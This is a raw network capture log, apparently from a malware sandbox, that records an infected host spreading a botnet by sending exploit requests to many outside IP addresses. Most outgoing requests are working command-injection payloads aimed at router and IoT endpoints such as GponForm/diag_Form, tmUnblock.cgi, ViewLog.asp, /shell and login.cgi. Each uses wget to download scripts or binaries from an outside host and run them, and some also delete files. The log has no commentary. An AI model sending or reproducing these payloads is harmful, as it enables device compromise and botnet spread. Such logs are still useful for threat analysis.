OpenSSL/0.9.8zf Server at 0.0.0.0 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.13	43216	115.187.35.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.105302095 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:43.242881060 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:44.339788914 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.679796934 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.092757940 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Thu, 21 Mar 2024 04:17:46 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.13	37894	54.224.147.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.161990881 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:42.678921938 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:42.797991991 CET	433	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:42 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.13	34356	172.64.128.118	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.478245974 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.13	56630	172.67.43.196	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.478796959 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.13	41798	172.65.124.252	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.479305029 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.13	59580	169.62.54.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.688652992 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:42.798285007 CET	1286	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:42 GMT X-Frame-Options: SAMEORIGIN content-security-policy: default-src 'self' https://www.google-analytics.com/; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://www.googletagmanager.com/; img-src 'self'; Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Last-Modified: Wed, 08 Feb 2023 05:09:17 GMT ETag: "2fd-5f429441ad940" Accept-Ranges: bytes Content-Length: 765 Pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate Expires: 0 Keep-Alive: timeout=10, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 53 43 46 2d 41 43 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 64 69 76 2e 65 72 72 6f 72 41 72 65 61 20 7b 0a 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 42 30 43 34 44 45 3b 0a 09 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 09 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 33 70 78 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 30 25 3b 0a 09 68 65 69 67 68 74 3a 20 34 30 30 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 33 30 70 78 20 61 75 74 6f 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 31 35 70 78 20 31 35 70 78 3b 0a 09 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 41 72 65 61 22 3e 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 3e 0a 09 09 09 3c 64 69 76 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>SCF-AC</title><style type="text/css">div.errorArea {border-color: #B0C4DE;border-style: solid;border-width: 3px;font-size: 90%;height: 400px;margin: 30px auto;padding: 0 15px 15px;width: 600px;}</style></head><body><div class="errorArea"><table width="100%"><tr><td><div
Mar 21, 2024 05:17:42.798378944 CET	218	IN	Data Raw: 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 62 6c 75 65 3b 22 3e 3c 62 72 2f 3e 0a 09 09 09 09 45 6e 67 6c 69 73 68 3a 3c 62 72 2f 3e 0a 09 09 09 09 50 61 67 65 20 6e 6f 74 20 46 6f 75 6e 64 2e 3c 62 72 2f 3e 0a 09 09 09 09 3c 62 72 2f 3e 0a 0a Data Ascii: style="color: blue;"><br/>English:<br/>Page not Found.<br/><br/>Japanese:<br/><br/></div></td></tr></table></body></html>
Mar 21, 2024 05:17:42.798396111 CET	845	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:42 GMT X-Frame-Options: SAMEORIGIN content-security-policy: default-src 'self' https://www.google-analytics.com/; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://www.googletagmanager.com/; img-src 'self'; Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 49 42 4d 5f 48 54 54 50 5f 53 65 72 76 65 72 20 53 65 72 76 65 72 20 61 74 20 74 73 2e 6e 61 2e 6e 6b 2d 61 72 63 68 69 76 65 63 65 6e 74 65 72 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>IBM_HTTP_Server Server at ts.na.nk-archivecenter.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.13	35330	2.100.212.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703277111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.13	45782	79.247.42.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703294992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.13	59276	94.57.87.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703357935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.13	36796	212.185.151.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703393936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.13	41470	2.213.232.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703654051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.13	38340	2.221.113.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703660011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.13	55800	42.83.92.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703671932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.13	40720	2.67.26.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.703749895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.13	60992	23.7.122.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.704116106 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:43.287800074 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:43.482352018 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:17:43 GMT Date: Thu, 21 Mar 2024 04:17:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 61 61 61 32 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 36 33 26 23 34 36 3b 32 37 36 64 33 62 64 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2aaa2c17.1710994663.276d3bd0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.13	35382	84.201.188.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.772717953 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:49.235804081 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
